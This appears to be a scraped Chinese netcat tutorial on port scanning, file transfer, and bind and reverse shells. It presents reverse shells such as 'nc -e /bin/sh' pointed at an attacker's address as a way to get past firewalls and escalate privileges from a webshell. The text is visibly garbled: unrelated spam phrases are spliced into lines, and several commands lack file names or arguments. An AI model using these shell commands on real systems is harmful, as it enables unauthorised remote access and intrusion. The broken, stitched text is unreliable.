赵露思多高NC使⽤教程
NetCat参数说明:
主要参数:
-c shell commands  与`-e’⼀样效果(use /bin/sh to exec )
-e filename      程序重定向
-d                ⽆命令⾏界⾯,使⽤后台模式
-i <;延迟秒数>      设置时间间隔,以便传送信息及扫描通信端⼝;
-l                监听模式,⽤于⼊站连接
篮球假动作-L                监听模式,连接关闭后仍然继续监听,直到CTR+C
一平方米等于多少公顷-n                IP地址,不能⽤域名
-o <⽂件名>      记录16进制的传输
-
p <;端⼝>          本地端⼝号
-r                随机本地及远程端⼝
-s <;地址>        设置本地主机送出数据包的IP地址
-t                使⽤Telnet交互⽅式
-T tos            set Type Of Service
-u                UDP模式
-v                详细输出,⽤-vv将更详细
-w <;数字>          timeout延时间隔
-z                将输⼊,输出关掉(⽤于扫锚时)
⼀般netcat做的最多的事情为以下三种:
扫描指定IP端⼝情况
张振汉
端⼝转发数据(重点)
提交⾃定义数据包
1、扫描常⽤命令。
以下IP 处可以使⽤域名,nc会调⽤NDS解析成IP地址。
nc -v ip port            #扫瞄某 IP 的某个端⼝,返回端⼝信息详细输出。如:nc -v 96.44.174.9 80
nc -v -z ip port-port            #扫描某IP的端⼝段,返回端⼝信息详细输出,但扫描速度很慢。如:nc -v -z 96.44.174.9 80-1024
nc -v -z -u ip port-port            #扫描某 IP 的某 UDP 端⼝段,返回端⼝信息详细输出,但扫描速度很慢。如:nc -v -z -u 96.44.174.9 25-1024 nc -nvv -w2 -z ip port-port            #扫锚某IP的端⼝段,连接超时时间为2秒。如:nc -nvv -w2 -z 96.44.174.9 80-1024
2、监听端⼝、连接端⼝、转发端⼝常⽤命令。
nc -l -p 520            #开启本机的 TCP 520 端⼝并监听次端⼝的上传输的数据。
nc -l -v -p 520            #开启本机的 TCP 520 端⼝并将监听到的信息输出到当前 CMD 窗⼝。这个命令也是端⼝转发shell的基础。
nc -l -p 520 > C:/log.dat            #开启本机的 TCP 520 端⼝并将监听到的信息输出到 C:/log.dat 下的⽇志⽂件⾥。
nc -nvv 192.168.1.101 520            #连接到192.168.1.101主机的 520。
重点⼀(正向连接):*
nc -l -p 2012 -t -e             #远程运⾏
nc -nvv 192.168.1.101 2012            #本地运⾏
【解释】采⽤正向连接⽅式,远程主机(注:假设IP地址为 192.168.1.101)上运⾏ nc -l -p 2012 -t - 意为绑定远程主机的 CMD 到2012 端⼝,当本地主机连接远程主机成功时就会返回给本地主机⼀个CMD Shell ;在本地主机上运⾏ nc -nvv 192.168.1.101 2012 ⽤于连接已经将 CMD 重定向到 2012 端⼝的远程主机(注:假设IP地址为
192.168.1.101)。
重点⼆(反向连接):*
nc -t -e 192.168.1.102 2012            #远程运⾏
nc -l –vv -p 2012            #本地运⾏
【解释】采⽤反向连接⽅式,先在本地主机(拥有公⽹IP)运⾏ nc -l –vv -p 2012 开启2012 端⼝并监听等待远程主机连接;在远程主机上运⾏ nc -t - 192.168.1.102 2012 将远程主机的 CMD 重定向到 IP 地址为 192.168.1.102 端⼝号为2012 的主机上,连接成功后 IP 地址为 192.168.1.102 的主机会得到⼀个CMD Shell。
总结:这个情况是最常⽤的内⽹端⼝转发功能,这样反弹shell即可执⾏命令。反向连接就是常⽤的反弹shell到本地,因为由主机主动发送的情况本地防⽕墙等设备⼀般不会去拦截,⽽正向连接到远程主机的某端⼝常常被拦截。
3、提交数据、⽂件传输常⽤命令
nc -vv IP port < C:/            #提交内数据包到的80端⼝,-vv参数会使速度变慢,但可以跟踪过程。例如IISput漏洞就可以⾃定义数据包使⽤此⽅法提交。如:nc -vv 80 < C:/
nc -v -n ip port < C:/            #本地运⾏
nc -v -l -p port > D:/          #远程运⾏
【解释】在本地运⾏ nc -v -n ip port < C:/ 意为从本地 C 盘根⽬录中读取 ⽂件的内容,并把这些数据发送到远程主机的对应端⼝上(注:命令⾏中的 IP 为接收⽂件的远程主机 IP ),在远程主机运⾏ nc -v -l -p port > D:/ 意为监听对应端⼝并把接收到的信息数据写到 D:/ 中,两⾏命令实现了⽂件在本地主机和远程主机间的传输。
传输http数据包实例:
Linux环境下netcat使⽤
好东西肯定需要在不同的环境中都能使⽤,在linux环境中同样有着netcat可以使⽤。主要过程如下:
Linux提权绝⼤部分都靠的是Local Exploit。WebShell⼀般都可以执⾏命令,但是溢出必须在可交互环境运⾏,否则如果直接在WebShell执⾏,即使能溢出提权成功,也没法利⽤。因此必须要反弹⼀个Shell命令⾏窗⼝,在命令⾏终端下执⾏溢出进⾏提权。
主要步骤:
1、wget⼀个tar压缩的nc
Wget sourceforge/projects/netcat/files/netcat/0.7.1/netcat-0.7./download -O netcat-0.7.
2、解压⽂件
tar zxvf netcat-0.7.
3、解压完毕之后会⽣成⽬录
cd netcat-0.7.1
4、配置环境
.
/configure
5、配置完了之后就可以编译了。
make
6、编译成功就⽣成了netcat可执⾏的⽂件了,位于src⽬录,cd进去进⾏运⾏./netcat⽂件就是我们的nc了。
远程Linux转发命令
./netcat 8.8.8.8 1234 -e /bin/sh
基本⽤法:
连接到192.168.0.1主机的80端⼝
nc -nvv 192.168.0.1 80
开启本机的TCP 80端⼝并监听
nc -l -p 80
扫锚192.168.0.1的80-1024端⼝
nc -nvv -w2 -z 192.168.0.1 80-1024
绑定remote主机的cmdshell在remote的TCP 5354端⼝
nc -l -p 5354 -t -e
绑定remote主机的cmdshell并反向连接192.168.0.2的5354端⼝
nc -t -e 192.168.0.2 5354
⾼级⽤法:
开启并不停地监听80端⼝,直到CTR+C为⽌
nc -L -p 80
开启并不停地监听80端⼝,直到CTR+C,同时把结果输出到c:\
nc -L -p 80 > c:\ 作为蜜罐⽤2
开启并不停地监听80端⼝,直到CTR+C,并把c:\中内容送⼊管道中,亦可起到传送⽂件作⽤
nc -L -p 80 < c:\ 作为蜜罐⽤3-1
开启并不停地监听80端⼝,直到CTR+C,并把c:\中内容送⼊管道中,亦可起到传送⽂件作⽤
< c:\honeyport | nc -L -p 80 作为蜜罐⽤3-2
开启并不停地监听本机端⼝,直到CTR+C为⽌
nc -l -p 本机端⼝
在对⽅ win2000+主机上⽤:
李尚允与南相美nc - 本机IP -p 本机端⼝刚过二本线可以选哪些大学
linux,unix上,反向连接突破对⽅主机的防⽕墙
nc -e /bin/sh 本机IP -p 本机端⼝
本机上⽤
nc -d -l -p 本机端⼝ < 要传送的⽂件路径及名称
在对⽅主机上⽤
nc -vv 本机IP 本机端⼝ > 存放⽂件的路径及名称传送⽂件到对⽅主机
备注:
< 或 > 重定向命令。“<”,例如:tlntadmn < 指把的内容赋值给tlntadmn命令
@ 表⽰执⾏@后⾯的命令,但不会显⽰出来(后台执⾏);例:@dir c:\winnt >> d:\ 意思是:后台执⾏dir,并把结果存在d:\中
“>”与“>>”的区别 :">"指:覆盖;">>"指:保存到(添加到)。
如:@dir c:\winnt >> d:\和@dir c:\winnt > d:\⼆个命令分别执⾏⼆次⽐较看:⽤>>的则是把⼆次的结果都保存了,⽽⽤:>则只有⼀次的结果,是因为第⼆次的结果把第⼀次的覆盖了。